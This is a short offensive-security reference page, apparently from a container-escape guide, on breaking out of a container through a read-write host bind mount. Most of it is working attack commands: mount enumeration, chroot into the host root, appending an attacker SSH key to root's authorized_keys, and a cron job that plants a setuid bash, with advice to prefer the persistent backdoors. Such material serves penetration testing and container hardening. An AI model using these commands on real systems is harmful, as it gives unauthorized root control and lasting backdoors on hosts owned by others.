When a host directory is bind-mounted into a container, the container reads and writes that path on the host directly, with no namespace in the way. The strongest case is the whole root filesystem (-v /:/host), common in CI runners, backup sidecars, and "management" containers. Enumerate mounts first:
cat /proc/self/mountinfo # look for host paths, especially / mounted read-write
mount | grep -vE 'proc|sysfs|tmpfs|cgroup'
With the host root mounted read-write, you own the host:
# Chroot into the host filesystem and act as root there
chroot /host sh
# Or without chroot, write host files directly
echo 'ssh-ed25519 AAAA... attacker' >> /host/root/.ssh/authorized_keys
echo '* * * * * root cp /bin/bash /tmp/b && chmod 4755 /tmp/b' > /host/etc/cron.d/x
Even a partial mount is useful: /etc lets you add a user or cron job, a mounted Docker or kubelet directory leaks credentials, and a mounted log directory can be a symlink primitive into the host. Read-only mounts still leak secrets (keys, tokens, configs) for use elsewhere.
Exploitation notes#
- A read-write host-root mount is immediate host takeover; prefer a cron job or SSH key over chroot if you need persistence rather than an interactive shell.
- In Kubernetes this is the
hostPathvolume; a pod that can mounthostPath: /reaches the node the same way, as the pod-delivery view in Pod escape to node. - A mounted
/var/run/docker.sockis a special case covered under Runtime socket mount.